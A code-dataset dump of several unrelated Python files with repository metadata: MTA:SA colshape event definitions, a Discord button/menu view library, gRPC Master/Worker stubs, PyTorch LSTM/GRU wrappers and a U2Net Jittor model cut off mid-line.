0.128411

0.179775

0.269663

0.853933

0

0.257065

1,097

32

81

34.28125

0.764417

0.01732

0

0.75

0

0.282528

0

1

0

false

0

0.083333

0

0.25

0

null

0

1

0

1

0

null

0

8

04b4409aa65f1727db3ee7a14678cdccd86b60d5

6,952

py

Python

events/colshape_events.py

mtasa-typescript/mtasa-wiki-dump

edea1746850fb6c99d6155d1d7891e2cceb33a5c

[ "MIT" ]

null

events/colshape_events.py

mtasa-typescript/mtasa-wiki-dump

edea1746850fb6c99d6155d1d7891e2cceb33a5c

[ "MIT" ]

1

2021-02-24T21:50:18.000Z

events/colshape_events.py

mtasa-typescript/mtasa-wiki-dump

edea1746850fb6c99d6155d1d7891e2cceb33a5c

[ "MIT" ]

null

# Autogenerated file. ANY CHANGES WILL BE OVERWRITTEN from to_python.core.types import FunctionType, \ FunctionArgument, \ FunctionArgumentValues, \ FunctionReturnTypes, \ FunctionSignature, \ FunctionDoc, \ EventData, \ CompoundEventData DUMP_PARTIAL = [ CompoundEventData( server=[ ], client=[ EventData( name='onClientColShapeHit', docs=FunctionDoc( description='This event is triggered when a physical element hits a colshape.' , arguments={ "theElement": """the element that entered the colshape. """, "matchingDimension": """a boolean referring to whether the hit collision shape was in the same dimension as the element. """ }, result='' , ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theElement', argument_type=FunctionType( names=['element'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='matchingDimension', argument_type=FunctionType( names=['bool'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), ) ], ), CompoundEventData( server=[ ], client=[ EventData( name='onClientColShapeLeave', docs=FunctionDoc( description='This event is triggered when a physical element leaves a colshape.' , arguments={ "theElement": """the element that left the colshape. """, "matchingDimension": """a boolean referring to whether the collision shape was in the same dimension as the element. """ }, result='' , ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='theElement', argument_type=FunctionType( names=['element'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='matchingDimension', argument_type=FunctionType( names=['bool'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), ) ], ), CompoundEventData( server=[ EventData( name='onColShapeHit', docs=FunctionDoc( description='This event is triggered when a physical element hits a colshape.' , arguments={ "hitElement": """: the element that entered the colshape. """, "matchingDimension": """: a boolean referring to whether the hit collision shape was in the same dimension as the element. """ }, result='' , ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='hitElement', argument_type=FunctionType( names=['element'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='matchingDimension', argument_type=FunctionType( names=['bool'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), ) ], client=[ ], ), CompoundEventData( server=[ EventData( name='onColShapeLeave', docs=FunctionDoc( description='This event is triggered when a player or a vehicle leaves a collision shape.' , arguments={ "leaveElement": """: The element that who exited the col shape. This can be a player or a vehicle. """, "matchingDimension": """: a boolean referring to whether the collision shape was in the same dimension as the element. """ }, result='' , ), arguments=FunctionArgumentValues( arguments=[ [ FunctionArgument( name='leaveElement', argument_type=FunctionType( names=['element'], is_optional=False, ), default_value=None, ) ], [ FunctionArgument( name='matchingDimension', argument_type=FunctionType( names=['bool'], is_optional=False, ), default_value=None, ) ] ], variable_length=False, ), ) ], client=[ ], ) ]

37.578378

146

0.353999

358

6,952

6.790503

0.22905

0.032908

0.07898

0.095434

0.815302

0.776635

0.755245

0.729741

0

0.579114

6,952

184

147

37.782609

0.830827

0.007336

0

0.691011

1

0

0.171329

0.003044

0

1

0

false

0

0.005618

0

0.005618

0

null

0

1

0

1

0

1

0

null

0

8

6d22e794a0a44e1a00c2a830d83667517260428b

18,857

py

Python

package/btns_menus/Combinations.py

Core7-Development/discord_btns_menus

7cc62ddaf8cfa17179bf705155c92cd4db6ea59d

[ "MIT" ]

8

2022-02-04T10:02:30.000Z

2022-03-23T06:09:53.000Z

package/btns_menus/Combinations.py

Core7-Development/discord_btns_menus

7cc62ddaf8cfa17179bf705155c92cd4db6ea59d

[ "MIT" ]

null

package/btns_menus/Combinations.py

Core7-Development/discord_btns_menus

7cc62ddaf8cfa17179bf705155c92cd4db6ea59d

[ "MIT" ]

2

2022-02-04T17:29:20.000Z

2022-03-08T04:59:18.000Z

from btns_menus.builds.abc import * from btns_menus.builds.button_ import SButton, Btn from btns_menus.builds.menu_ import SDropMenu, Menu from typing import * import discord from discord import ui class BtnAndDropMenu: def __init__(self, author: discord.Member, button1: SButton, menu1: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.menu1 = menu1 self.components = [self.btn1, self.menu1] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: BtnAndDropMenu( self.author, self.btn1, self.menu1, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class Btn2AndDropMenu: def __init__(self, author: discord.Member, button1: SButton, button2: SButton, menu1: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param button2: takes button type SButton :param menu1: takes Dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.btn2 = button2 self.menu1 = menu1 self.components = [self.btn1, self.btn2, self.menu1] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: Btn2AndDropMenu( self.author, self.btn1, self.btn2, self.menu1, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class Btn3AndDropMenu: def __init__(self, author: discord.Member, button1: SButton, button2: SButton, button3: SButton, menu1: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param button2: takes button type SButton :param button3: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.btn2 = button2 self.btn3 = button3 self.menu1 = menu1 self.components = [self.btn1, self.btn2, self.btn3, self.menu1] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: Btn3AndDropMenu(self.author, self.btn1, self.btn2, self.btn3, self.menu1, timeout=self.timeout) def view(self) -> ui.View: view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class Btn4AndDropMenu: def __init__(self, author: discord.Member, button1: SButton, button2: SButton, button3: SButton, button4: SButton, menu1: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param button2: takes button type SButton :param button3: takes button type SButton :param button4: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.btn2 = button2 self.btn3 = button3 self.btn4 = button4 self.menu1 = menu1 self.components = [self.btn1, self.btn2, self.btn3, self.btn4, self.menu1] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: Btn4AndDropMenu(self.author, self.btn1, self.btn2, self.btn3, self.btn4, self.menu1, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class BtnAnd2DropMenu: def __init__(self, author: discord.Member, button1: SButton, menu1: SDropMenu, menu2: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param menu2: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.menu1 = menu1 self.menu2 = menu2 self.components = [self.btn1, self.menu1, menu2] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: BtnAnd2DropMenu( self.author, self.btn1, self.menu1, self.menu2, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class Btn2And2DropMenu: def __init__(self, author: discord.Member, button1: SButton, button2: SButton, menu1: SDropMenu, menu2: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param button2: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param menu2: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.btn2 = button2 self.menu1 = menu1 self.menu2 = menu2 self.components = [self.btn1, self.btn2, self.menu1, self.menu2] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: Btn2And2DropMenu(self.author, self.btn1, self.btn2, self.menu1, self.menu2, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class Btn3And2DropMenu: def __init__(self, author: discord.Member, button1: SButton, button2: SButton, button3: SButton, menu1: SDropMenu, menu2: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param button2: takes button type SButton :param button3: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param menu2: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.btn2 = button2 self.btn3 = button3 self.menu1 = menu1 self.menu2 = menu2 self.components = [self.btn1, self.btn2, self.btn3, self.menu1, self.menu2] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: Btn3And2DropMenu(self.author, self.btn1, self.btn2, self.btn3, self.menu1, self.menu2, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class BtnAnd3DropMenu: def __init__(self, author: discord.Member, button1: SButton, menu1: SDropMenu, menu2: SDropMenu, menu3: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param menu2: takes dropmenu type SDropMenu :param menu3: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.menu1 = menu1 self.menu2 = menu2 self.menu3 = menu3 self.components = [self.btn1, self.menu1, self.menu2, self.menu3] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: BtnAnd3DropMenu(self.author, self.btn1, self.menu1, self.menu2, self.menu3, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class Btn2And3DropMenu: def __init__(self, author: discord.Member, button1: SButton, button2: SButton, menu1: SDropMenu, menu2: SDropMenu, menu3: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param button2: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param menu2: takes dropmenu type SDropMenu :param menu3: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.btn2 = button2 self.menu1 = menu1 self.menu2 = menu2 self.menu3 = menu3 self.components = [self.btn1, self.btn2, self.menu1, self.menu2, self.menu3] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: BtnAnd3DropMenu(self.author, self.btn1, self.menu1, self.menu2, self.menu3, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class BtnAnd4DropMenu: def __init__(self, author: discord.Member, button1: SButton, menu1: SDropMenu, menu2: SDropMenu, menu3: SDropMenu, menu4: SDropMenu, *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param button1: takes button type SButton :param menu1: takes dropmenu type SDropMenu :param menu2: takes dropmenu type SDropMenu :param menu3: takes dropmenu type SDropMenu :param menu4: takes dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btn1 = button1 self.menu1 = menu1 self.menu2 = menu2 self.menu3 = menu3 self.menu4 = menu4 self.components = [self.btn1, self.menu1, self.menu2, self.menu3, self.menu4] for component_ in self.components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: BtnAnd4DropMenu(self.author, self.btn1, self.menu1, self.menu2, self.menu3, self.menu4, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component_ in self.components: if not component_.hidden: if isinstance(component_, SButton): view_.add_item(Btn(self.root_, component_)) else: view_.add_item(Menu(self.root_, component_)) return view_ class MultiBtnAndDropMenu: def __init__(self, author: discord.Member, buttons: List[SButton], menus: List[SDropMenu], *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ Responsive Buttons and DropMenus :param author: Interaction User :param buttons: takes List of button type SButton :param menus: takes List of dropmenu type SDropMenu :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.btns: List = buttons self.menus: List = menus components: List = self.btns + self.menus for component_ in components: if component_.author is None: component_.update(author=self.author) self.root_ = lambda: MultiBtnAndDropMenu( self.author, self.btns, self.menus, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for btn_ in self.btns: if not btn_.hidden: view_.add_item(Btn(self.root_, btn_)) for menu_ in self.menus: if not menu_.hidden: view_.add_item(Menu(self.root_, menu_)) return view_ MultiBtnAndMenu = MultiBtnAndDropMenu class MultiBtnsAndMenus: def __init__(self, author: discord.Member, components: List[Union[SButton, SDropMenu]], *, timeout: Optional[float] = DEFAULT_TIMEOUT): """ 🌟 Full Flexibility Responsive Buttons and DropMenus :param author: Interaction User :param components: Takes List of components (both buttons and drop menus) :param timeout: Interaction Timeout :returns: view: discord.ui.View """ self.author = author self.timeout = timeout self.components = components for component in self.components: if component.author is None: component.update(author=self.author) self.root_ = lambda: MultiBtnsAndMenus( self.author, self.components, timeout=self.timeout) def view(self) -> ui.View: """:returns: discord.ui.View""" view_ = ui.View(timeout=self.timeout) for component in self.components: if not component.hidden: if isinstance(component, SButton): view_.add_item(Btn(self.root_, component)) elif isinstance(component, SDropMenu): view_.add_item(Menu(self.root_, component)) else: raise ValueError("The given components are Invalid !") return view_

33.493783

118

0.593891

1,984

18,857

5.513105

0.046875

0.043884

0.030719

0.036204

0.900622

0.884988

0.882063

0.874017

0.867617

0

0.020422

0.319669

18,857

562

119

33.553381

0.832099

0.20263

0

0.730897

0

0.002418

0

1

0.079734

false

0

0.019934

0

0.179402

0

null

0

1

0

1

0

null

0

7

6d57bfa462e693b0b380d8511c85e1a27e8e755b

4,666

py

Python

src/protos/rpc_pb2_grpc.py

MrRobertYuan/docklet

70c089a6a5bb186dc3f898127af84d79b4dfab2d

[ "BSD-3-Clause" ]

273

2016-03-23T08:54:35.000Z

2022-01-03T07:49:23.000Z

src/protos/rpc_pb2_grpc.py

FirmlyReality/docklet

203113a5efff89fc961d119de38e5d3759af6f5d

[ "BSD-3-Clause" ]

115

2016-04-01T09:51:34.000Z

2019-11-14T00:00:48.000Z

src/protos/rpc_pb2_grpc.py

FirmlyReality/docklet

203113a5efff89fc961d119de38e5d3759af6f5d

[ "BSD-3-Clause" ]

64

2016-03-31T08:38:29.000Z

2021-09-20T07:26:06.000Z

# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! import grpc from protos import rpc_pb2 as rpc__pb2 class MasterStub(object): # missing associated documentation comment in .proto file pass def __init__(self, channel): """Constructor. Args: channel: A grpc.Channel. """ self.report = channel.unary_unary( '/Master/report', request_serializer=rpc__pb2.ReportMsg.SerializeToString, response_deserializer=rpc__pb2.Reply.FromString, ) class MasterServicer(object): # missing associated documentation comment in .proto file pass def report(self, request, context): # missing associated documentation comment in .proto file pass context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def add_MasterServicer_to_server(servicer, server): rpc_method_handlers = { 'report': grpc.unary_unary_rpc_method_handler( servicer.report, request_deserializer=rpc__pb2.ReportMsg.FromString, response_serializer=rpc__pb2.Reply.SerializeToString, ), } generic_handler = grpc.method_handlers_generic_handler( 'Master', rpc_method_handlers) server.add_generic_rpc_handlers((generic_handler,)) class WorkerStub(object): # missing associated documentation comment in .proto file pass def __init__(self, channel): """Constructor. Args: channel: A grpc.Channel. """ self.start_vnode = channel.unary_unary( '/Worker/start_vnode', request_serializer=rpc__pb2.VNodeInfo.SerializeToString, response_deserializer=rpc__pb2.Reply.FromString, ) self.start_task = channel.unary_unary( '/Worker/start_task', request_serializer=rpc__pb2.TaskInfo.SerializeToString, response_deserializer=rpc__pb2.Reply.FromString, ) self.stop_task = channel.unary_unary( '/Worker/stop_task', request_serializer=rpc__pb2.TaskInfo.SerializeToString, response_deserializer=rpc__pb2.Reply.FromString, ) self.stop_vnode = channel.unary_unary( '/Worker/stop_vnode', request_serializer=rpc__pb2.VNodeInfo.SerializeToString, response_deserializer=rpc__pb2.Reply.FromString, ) class WorkerServicer(object): # missing associated documentation comment in .proto file pass def start_vnode(self, request, context): # missing associated documentation comment in .proto file pass context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def start_task(self, request, context): # missing associated documentation comment in .proto file pass context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def stop_task(self, request, context): # missing associated documentation comment in .proto file pass context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def stop_vnode(self, request, context): # missing associated documentation comment in .proto file pass context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def add_WorkerServicer_to_server(servicer, server): rpc_method_handlers = { 'start_vnode': grpc.unary_unary_rpc_method_handler( servicer.start_vnode, request_deserializer=rpc__pb2.VNodeInfo.FromString, response_serializer=rpc__pb2.Reply.SerializeToString, ), 'start_task': grpc.unary_unary_rpc_method_handler( servicer.start_task, request_deserializer=rpc__pb2.TaskInfo.FromString, response_serializer=rpc__pb2.Reply.SerializeToString, ), 'stop_task': grpc.unary_unary_rpc_method_handler( servicer.stop_task, request_deserializer=rpc__pb2.TaskInfo.FromString, response_serializer=rpc__pb2.Reply.SerializeToString, ), 'stop_vnode': grpc.unary_unary_rpc_method_handler( servicer.stop_vnode, request_deserializer=rpc__pb2.VNodeInfo.FromString, response_serializer=rpc__pb2.Reply.SerializeToString, ), } generic_handler = grpc.method_handlers_generic_handler( 'Worker', rpc_method_handlers) server.add_generic_rpc_handlers((generic_handler,))

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6.34638

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0.049337

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0.189456

4,666

139

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33.568345

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1

0

1

0

null

0

1

0

8

ed8d77bd171212ba346e5e440a72f3f75dfa0931

5,479

py

Python

Models/BiDAF/wrapper.py

nguyenvo09/EACL2021

9d04d8954c1ded2110daac23117de11221f08cc6

[ "MIT" ]

27

2021-01-18T16:03:17.000Z

2022-03-05T22:38:34.000Z

Models/BiDAF/wrapper.py

nguyenvo09/EACL2021

9d04d8954c1ded2110daac23117de11221f08cc6

[ "MIT" ]

null

Models/BiDAF/wrapper.py

nguyenvo09/EACL2021

9d04d8954c1ded2110daac23117de11221f08cc6

[ "MIT" ]

1

2021-11-24T08:23:09.000Z

import torch import torch.nn as nn class LSTM(nn.Module): def __init__(self, input_size, hidden_size, batch_first=False, num_layers=1, bidirectional=False, dropout=0.2): super(LSTM, self).__init__() self.rnn = nn.LSTM(input_size=input_size, hidden_size=hidden_size, num_layers=num_layers, bidirectional=bidirectional, batch_first=batch_first) self.reset_params() self.dropout = nn.Dropout(p=dropout) def reset_params(self): for i in range(self.rnn.num_layers): nn.init.orthogonal_(getattr(self.rnn, 'weight_hh_l%s' % i)) nn.init.kaiming_normal_(getattr(self.rnn, 'weight_ih_l%s' % i)) nn.init.constant_(getattr(self.rnn, 'bias_hh_l%s' % i), val=0) nn.init.constant_(getattr(self.rnn, 'bias_ih_l%s' % i), val=0) getattr(self.rnn, 'bias_hh_l%s' % i).chunk(4)[1].fill_(1) if self.rnn.bidirectional: nn.init.orthogonal_(getattr(self.rnn, 'weight_hh_l%s_reverse' % i)) nn.init.kaiming_normal_(getattr(self.rnn, 'weight_ih_l%s_reverse' % i)) nn.init.constant_(getattr(self.rnn, 'bias_hh_l%s_reverse' % i), val=0) nn.init.constant_(getattr(self.rnn, 'bias_ih_l%s_reverse' % i), val=0) getattr(self.rnn, 'bias_hh_l%s_reverse' % i).chunk(4)[1].fill_(1) def forward(self, x, return_h=True, max_len=None): x, x_len, d_new_indices, d_restoring_indices = x x = self.dropout(x) # x_idx = d_new_indices x_len_sorted = x_len[d_new_indices] # x_len_sorted, x_idx = torch.sort(x_len, descending=True) x_sorted = x[d_new_indices] # x.index_select(dim=0, index=x_idx) x_ori_idx = d_restoring_indices # _, x_ori_idx = torch.sort(x_idx) x_packed = nn.utils.rnn.pack_padded_sequence(x_sorted, x_len_sorted, batch_first=True) x_packed, (h, c) = self.rnn(x_packed) x = nn.utils.rnn.pad_packed_sequence(x_packed, batch_first=True, total_length=max_len)[0] # x = x.index_select(dim=0, index=x_ori_idx) x = x[x_ori_idx] if return_h: h = h.permute(1, 0, 2).contiguous().view(-1, h.size(0) * h.size(2)) #.squeeze() # h = h.index_select(dim=0, index=x_ori_idx) h = h[x_ori_idx] return x, h class GRU(nn.Module): def __init__(self, input_size, hidden_size, batch_first=False, num_layers=1, bidirectional=False, dropout=0.2): super(GRU, self).__init__() self.rnn = nn.GRU(input_size=input_size, hidden_size=hidden_size, num_layers=num_layers, bidirectional=bidirectional, batch_first=batch_first) self.reset_params() self.dropout = nn.Dropout(p=dropout) def reset_params(self): for i in range(self.rnn.num_layers): nn.init.orthogonal_(getattr(self.rnn, 'weight_hh_l%s' % i)) nn.init.kaiming_normal_(getattr(self.rnn, 'weight_ih_l%s' % i)) nn.init.constant_(getattr(self.rnn, 'bias_hh_l%s' % i), val=0) nn.init.constant_(getattr(self.rnn, 'bias_ih_l%s' % i), val=0) getattr(self.rnn, 'bias_hh_l%s' % i).chunk(4)[1].fill_(1) if self.rnn.bidirectional: nn.init.orthogonal_(getattr(self.rnn, 'weight_hh_l%s_reverse' % i)) nn.init.kaiming_normal_(getattr(self.rnn, 'weight_ih_l%s_reverse' % i)) nn.init.constant_(getattr(self.rnn, 'bias_hh_l%s_reverse' % i), val=0) nn.init.constant_(getattr(self.rnn, 'bias_ih_l%s_reverse' % i), val=0) getattr(self.rnn, 'bias_hh_l%s_reverse' % i).chunk(4)[1].fill_(1) def forward(self, x, return_h=True, max_len=None): x, x_len, d_new_indices, d_restoring_indices = x x = self.dropout(x) # x_idx = d_new_indices x_len_sorted = x_len[d_new_indices] # x_len_sorted, x_idx = torch.sort(x_len, descending=True) x_sorted = x[d_new_indices] # x.index_select(dim=0, index=x_idx) x_ori_idx = d_restoring_indices # _, x_ori_idx = torch.sort(x_idx) x_packed = nn.utils.rnn.pack_padded_sequence(x_sorted, x_len_sorted, batch_first=True) # x_packed, (h, c) = self.rnn(x_packed) x_packed, h = self.rnn(x_packed) # this is for GRU not LSTM x = nn.utils.rnn.pad_packed_sequence(x_packed, batch_first=True, total_length=max_len)[0] # x = x.index_select(dim=0, index=x_ori_idx) x = x[x_ori_idx] if return_h: h = h.permute(1, 0, 2).contiguous().view(-1, h.size(0) * h.size(2)) # .squeeze() # h = h.index_select(dim=0, index=x_ori_idx) h = h[x_ori_idx] return x, h class Linear(nn.Module): def __init__(self, in_features, out_features, dropout=0.0): super(Linear, self).__init__() self.linear = nn.Linear(in_features=in_features, out_features=out_features) if dropout > 0: self.dropout = nn.Dropout(p=dropout) self.reset_params() def reset_params(self): nn.init.kaiming_normal_(self.linear.weight) nn.init.constant_(self.linear.bias, 0) def forward(self, x): if hasattr(self, 'dropout'): x = self.dropout(x) x = self.linear(x) return x

44.544715

115

0.605585

838

5,479

3.652745

0.107399

0.066318

0.091473

0.070565

0.879451

0.857563

0.848416

0

0.012398

0.263917

5,479

122

116

44.909836

0.746591

0.100201

0

0.766667

0

0.065744

0.017098

0

1

0.1

false

0

0.022222

0

0.188889

0

null

0

1

0

1

0

null

0

7

edbadc482d03739e5c9fe88d171ebce36e2e568f

34,276

py

Python

model/U2Net.py

THU-CVlab/JMedSeg

1c9c66a1b2c6e4c5e3f70ca9e1ed54447b944755

[ "MIT" ]

26

2021-08-19T05:22:44.000Z

2022-03-08T05:44:43.000Z

model/U2Net.py

Jittor/JMedSeg

1c9c66a1b2c6e4c5e3f70ca9e1ed54447b944755

[ "MIT" ]

null

model/U2Net.py

Jittor/JMedSeg

1c9c66a1b2c6e4c5e3f70ca9e1ed54447b944755

[ "MIT" ]

3

2021-08-19T06:12:49.000Z

2021-08-19T11:41:16.000Z

''' https://github.com/xuebinqin/U-2-Net ''' import jittor as jt from jittor import init from jittor import nn class REBNCONV(nn.Module): def __init__(self, in_ch=3, out_ch=3, dirate=1): super(REBNCONV, self).__init__() self.conv_s1 = nn.Conv(in_ch, out_ch, 3, padding=(1 * dirate), dilation=(1 * dirate)) self.bn_s1 = nn.BatchNorm(out_ch) self.relu_s1 = nn.ReLU() def execute(self, x): hx = x xout = self.relu_s1(self.bn_s1(self.conv_s1(hx))) return xout def _upsample_like(src, tar): src = nn.upsample(src, size=tar.shape[2:], mode='bilinear') return src ### RSU-7 ### class RSU7(nn.Module): def __init__(self, in_ch=3, mid_ch=12, out_ch=3): super(RSU7, self).__init__() self.rebnconvin = REBNCONV(in_ch, out_ch, dirate=1) self.rebnconv1 = REBNCONV(out_ch, mid_ch, dirate=1) self.pool1 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv2 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool2 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv3 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool3 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv4 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool4 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv5 = REBNCONV(mid_ch, mid_ch, dirate=1) self.pool5 = nn.Pool(2, stride=2, ceil_mode=True, op='maximum') self.rebnconv6 = REBNCONV(mid_ch, mid_ch, dirate=1) self.rebnconv7 = REBNCONV(mid_ch, mid_ch, dirate=2) self.rebnconv6d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv5d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv4d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv3d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv2d = REBNCONV((mid_ch * 2), mid_ch, dirate=1) self.rebnconv1d = REBNCONV((mid_ch * 2), out_ch, dirate=1) def execute(self, x): hx = x hxin = self.rebnconvin(hx) hx1 = self.rebnconv1(hxin) hx = self.pool1(hx1) hx2 = self.rebnconv2(hx) hx = self.pool2(hx2) hx3 = self.rebnconv3(hx) hx = self.pool3(hx3) hx4 = self.rebnconv4(hx) hx = self.pool4(hx4) hx5 = self.rebnconv5(hx) hx = self.pool5(hx5) hx6 = self.rebnconv6(hx) hx7 = self.rebnconv7(hx6) hx6d = self.rebnconv6d(jt.contrib.concat((hx7, hx6), dim=1)) hx6dup = _upsample_like(hx6d, hx5) hx5d = self.rebnconv5d(jt.contrib.concat((hx6dup, hx5), dim=1)) hx5dup = _upsample_like(hx5d, hx4) hx4d = self.rebnconv4d(jt.contrib.concat((hx5dup, hx4), dim=1)) hx4dup = _upsample_like(hx4d, hx3) hx3d = self.rebnconv3d(jt.contrib.concat((hx4dup, hx3), dim=1)) hx3dup = _upsample_like(hx3d, hx2) hx2d = self.rebnconv2d(jt.contrib.concat((hx3dup, hx2), dim=1)) hx2dup = _upsample_like(hx2d, hx1) hx1d = 